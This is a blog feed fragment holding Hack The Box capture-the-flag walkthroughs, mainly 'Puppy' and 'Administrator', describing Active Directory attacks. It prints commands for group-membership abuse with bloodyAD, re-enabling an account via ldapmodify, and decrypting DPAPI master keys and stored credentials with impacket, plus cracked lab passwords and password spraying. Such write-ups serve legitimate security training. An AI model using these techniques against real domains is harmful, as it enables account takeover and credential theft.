      &quot;@enabled&quot;: &quot;true&quot;
    },
    &quot;dataCenterInfo&quot;: {
      &quot;@class&quot;: &quot;com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo&quot;,
      &quot;name&quot;: &quot;MyOwn&quot;
    }
  }
}
&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
But in order to communicate with the server we will first have to port forward in order to reach the &lt;code&gt;localhost&lt;/code&gt;
:::&lt;/p&gt;
&lt;h3&gt;Port Forward&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9598bbdebb186d229688a05e7c246a25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly I sent the above request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a18dd35d2a38d2457d69271beda6394e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;miranda.wise
IL%21veT0Be%26BeT0L0ve&amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;Got to tweak it around a little bit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;miranda-wise
IL!veT0Be&amp;amp;BeT0L0ve
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c74e01b0c30d17b6f9c383b8f2fd5381.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54cd2f9acbfacbe518a2c3158dd5c57c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So what&apos;s next?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f67b9245427ad6df57fe967d86dcf0c2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clearly this isn&apos;t the move here.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;pspy64&lt;/h2&gt;
&lt;p&gt;I ran &lt;code&gt;pspy64&lt;/code&gt; and found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fff29c4260b4d29f3f262dc36c903675.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And when we check whether we can write to that file we see this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/59aa7a78d6efce85ad05c673796b11df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turns out we&apos;re part of the &lt;strong&gt;developers&lt;/strong&gt; group, which has access to this directory.&lt;/p&gt;
&lt;p&gt;So I can do this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d8fe61a2fd7402928d79ec506380cc46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After waiting a while:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bb564080dd82a695bab7009f9fedd4c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now go ahead and escalate the shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49ce588157da759b7896086d88cc1814.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9c19756e2cd81fc17d9e18a787787bf2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7df7af860471b4a2edf67ebd5e689112.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Puppy</title><link>https://maxk9999.vercel.app/posts/puppy</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/puppy</guid><pubDate>Tue, 15 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.70

Creds:
levi.james / KingofAkron2025!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn puppy.htb 

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-07-15 13:50:31Z)
111/tcp   open  rpcbind       syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
2049/tcp  open  nlockmgr      syn-ack 1-4 (RPC #100021)
3260/tcp  open  iscsi?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49689/tcp open  msrpc         syn-ack Microsoft Windows RPC
53828/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 62785/tcp): CLEAN (Timeout)
|   Check 2 (port 57127/tcp): CLEAN (Timeout)
|   Check 3 (port 26380/udp): CLEAN (Timeout)
|   Check 4 (port 24379/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-07-15T13:52:19
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h00m00s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;NXC&lt;/h2&gt;
&lt;p&gt;I started password spraying to see what I could find&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8bcd03fbeda9461572a18a8ef3abbe85.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6c4569a188ebbb66fe10873a6899be26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No interesting shares.&lt;/p&gt;
&lt;h2&gt;RPCclient&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a862cceb1ca0ff5c4da21db6e2ca664.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that I couldn&apos;t find more useful stuff.&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bae9da962f91a6e25c3eb4582eb2cf0f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1f9cc7b312ff493cf9749a09c67f9efc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ba34d4b2ca59bd5198b0ca92e0be2bd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This part is interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b96f229d5f33059abae3ff72317a4bed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/abe6d1da4874a0f467793db4fd9d5fb4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;bloodyAD - GenericWrite&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.10.11.70 --dc-ip PUPPY.HTB -u &quot;levi.james&quot; -p &apos;KingofAkron2025!&apos; add groupMember DEVELOPERS &apos;levi.james&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/33c382dac573d54f4e0516956f9f6e71.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once part of this group I checked out the members and found this person:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5db8e30a6b6fe1ea425d6ed2c5481b28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As well as &lt;em&gt;Adam.silver&lt;/em&gt; who&apos;s part of the &lt;strong&gt;Remote Management Group&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c59b1615b6d213d18c33d48294b06cad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Anyways, I now of course had &lt;strong&gt;READ&lt;/strong&gt; access to the &lt;code&gt;DEV&lt;/code&gt; share:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ba52684a3526737092800b33ce4604ef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;SMBclient&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f2e147baade365327748de90b1b5e8a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried out &lt;code&gt;keepass2john&lt;/code&gt; but it didn&apos;t work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2dcd77346dff8cdc1f074ab8f2cb560.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;keepass4brute&lt;/h3&gt;
&lt;p&gt;Luckily enough the following script exists:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/99cec86a84108625a1a4aa563fca82ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I download it and let it run:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82016bdcc70a1fb55c51f277184b1566.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;keepassxc&lt;/h3&gt;
&lt;p&gt;I can now open the &lt;code&gt;recovery.kdbx&lt;/code&gt; file as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2f5c21f6e9038897e400131da1bcbe5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9e132fa0c989c7c16e112c10ba0c674.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was an absolute goldmine.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3eca911b92a88416ce80f89254b40ebe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2c18829aad6cecd96d75181e730cee3e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a6fc2977081429e6ba42541abe311424.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Time to abuse the &lt;code&gt;GenericAll&lt;/code&gt; ACL.&lt;/p&gt;
&lt;h3&gt;bloodyAD - GenericAll&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f27ead22f1f3f0d2c21f3d6c5aa3600.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However I was not able to log in using &lt;code&gt;evil-winrm&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bf82f640390125a5f31e14ca517367d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This made sense when I password sprayed the creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25f47a70159214e3c8ece8573860e950.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s enable the account.&lt;/p&gt;
&lt;h3&gt;ldap&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ldapsearch -x -H ldap://10.10.11.70 -D &quot;ANT.EDWARDS@PUPPY.HTB&quot; -W -b &quot;DC=puppy,DC=htb&quot; &quot;(sAMAccountName=ADAM.SILVER)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c58c191e1fe17a2ccb4a69ba61699afb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can modify it by creating a &lt;code&gt;enable.ldif&lt;/code&gt; file then using &lt;code&gt;ldap&lt;/code&gt; to change it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 66048
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/af0ed4be75763f081b153edde2a6869f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldapmodify -x -H ldap://10.10.11.70 -D &quot;ANT.EDWARDS@PUPPY.HTB&quot; -W -f enable.ldif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8555860687e9b951bf05e44131b4ff5c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I now check it again it looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9563f97ba91db8cf9895a2d94c3169fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The account should now be enabled.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as adam.silver&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d6edc014066a56b491024a4439a670a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s start enumerating the directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54681ce90b8cce6819f191d714d60feb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/525a84b501c8485a7c217487da9d0315.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/122019379dd05e90485e64d2bc34435d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8331edc0426fe49b6afbb764e90c95d8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dac4c5a207e50d56980712ac91f72d25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d423aecadb40d4e559ac33cbae7611f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately it does &lt;em&gt;not&lt;/em&gt; seem like &lt;em&gt;steph.cooper&lt;/em&gt; is reusing his password for his &lt;em&gt;adm&lt;/em&gt; account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3b5f3a6932a6940d4f8bf55149424e73.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However after logging in and doing a &lt;code&gt;dir -r -h&lt;/code&gt; scan I found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f3bca97fe91e5323afd65cf78ba8488.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This looks like a &lt;code&gt;dpapi&lt;/code&gt; creds file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0260e8eb0da548bc1beb157a1dafb10f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and transferred the files:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b04ef1a5a726a014a085b1d14defdbcd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
Simply using &lt;code&gt;download&lt;/code&gt; via &lt;code&gt;evil-winrm&lt;/code&gt; failed.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/658a7e0d247976a4db57fdd55ef43735.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;impacket-dpapi&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;impacket-dpapi masterkey -f 556a2412-1275-4ccf-b721-e6a0b4f90407 -password &apos;ChefSteph2025!&apos; -sid S-1-5-21-1487982659-1829050783-2281216199-1107
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6ef9196b4ce78cc80d089ece35edd357.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now for the credentials we will use the decrypted key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-dpapi credential -f C8D69EBE9A43E9DEBF6B5FBD48B521B9  -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/36e0feafde24746e5e0c023c7fe9c74a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4cbb2d5c9acde88f80cc99d1951b93b3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e41bf592b859648e83bca81a55d55eeb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5239013f4c3ad7549129b575a7fa6468.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Administrator</title><link>https://maxk9999.vercel.app/posts/administrator</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/administrator</guid><pubDate>Mon, 15 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.42

Credentials:
Olivia
ichliebedich
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- 10.10.11.42 -T5 --min-rate=5000 -vvvv -Pn

PORT      STATE SERVICE       REASON  VERSION
21/tcp    open  ftp           syn-ack Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-09-15 16:40:38Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49392/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49397/tcp open  msrpc         syn-ack Microsoft Windows RPC
49404/tcp open  msrpc         syn-ack Microsoft Windows RPC
49422/tcp open  msrpc         syn-ack Microsoft Windows RPC
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
63997/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;enum4linux&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;enum4linux-ng -U 10.10.11.42 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43d7547bbdc0e8c880591365427d0821.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;evil-winrm - Olivia&lt;/h2&gt;
&lt;p&gt;I did some other enum as well before ultimately logging in via &lt;code&gt;evil-winrm&lt;/code&gt; using the provided creds for &lt;em&gt;Olivia&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/56a345dfc3c8a25a5656a7c9c114d4a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I started doing some recon on the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3071ed5eac92b77e22e447f2081b6ccc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;In order to map the domain I used &lt;code&gt;bloodhound-ce-python&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ceec1fed2ff98f2ea6bbee3cb58870d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I uploaded the resulting files to &lt;code&gt;bloodhound-ce&lt;/code&gt; and checked it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/febebeffc43a6d9d9de6441b341954aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I had a clear path written out to follow:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a8436e362a80d02c4aa84415f349a76.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;GenericAll&lt;/h3&gt;
&lt;p&gt;First things first I had to take over &lt;em&gt;michael&lt;/em&gt;&apos;s user by abusing the &lt;strong&gt;GenericAll&lt;/strong&gt; GPO.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5b002dd1d2e39fb333434791e8f274f5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used the following command for a targeted kerberoast:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fea2fd4b49b411519e70c1c0ba00c5b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately the hash could not be cracked by &lt;code&gt;john&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2c1a399489bab3ae1030877b2850326a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead I successfully changed &lt;em&gt;michael&lt;/em&gt;&apos;s password using &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0a454925fe1eed563c9c2c538a4bca96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Michael
P@ssword123!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ForceChangePassword&lt;/h3&gt;
&lt;p&gt;I could now do the exact same but for the &lt;em&gt;Benjamin&lt;/em&gt; user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d48ea38279e5fd03e1cf61b9fd79594.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Benjamin
P@ssword123!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;I used the &lt;code&gt;spider_plus&lt;/code&gt; extension on &lt;code&gt;nxc&lt;/code&gt; to quickly spider the shares:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01b2eaf06948badcf25e2aac8146873c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61666e0581d2c7783cd9e471712e4810.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And this one looked interesting as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8d2fc1e62244ec0a29d90e7c80d5e734.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I logged into &lt;code&gt;\SYSVOL&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e65da1e9867a88a82dc8123270a435ce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded the files that I deemed were of interest:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dc6748f612d9d1d6f08d919f9f27faff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These however didn&apos;t look promising at all:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/02138abdc6cb497047e5ddc62e6baa85.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This seemed like a rabbit hole, time to explore different routes.&lt;/p&gt;
&lt;h2&gt;21/TCP - FTP&lt;/h2&gt;
&lt;p&gt;I logged in with the creds for &lt;em&gt;Benjamin&lt;/em&gt; into &lt;code&gt;ftp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/738d147edd19eb91d477c03c0669b65e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found an interesting &lt;code&gt;Backup.psafe3&lt;/code&gt; file which I downloaded to my Kali:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ab201df1b54917088ba0ba477ce96f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;john&lt;/h3&gt;
&lt;p&gt;I easily cracked the password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/efe804adbd07aaa71f531010f277d86b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tekieromucho
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Psafe3&lt;/h2&gt;
&lt;p&gt;I download the following binary in order to view the password manager:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97c353ba3f28fbddf1a776ece3cad8e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the cracked password to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/050ccba0bef11c8f0127d3fdf93ecab0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;creds&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;alexander
UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;emily
UXLCI5iETUsIBoFVTj8yQFKoHjXmb
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;emma
WwANQWnmJnGV07WQN8bMS7FMAbjNur
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then went ahead and password sprayed these creds to see which one would stick:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7622697a090f57107decb45051ab536b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like we can use &lt;em&gt;Emily&lt;/em&gt; to log in.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;I logged in with the credentials for &lt;em&gt;Emily&lt;/em&gt; and got the flag.&lt;/p&gt;
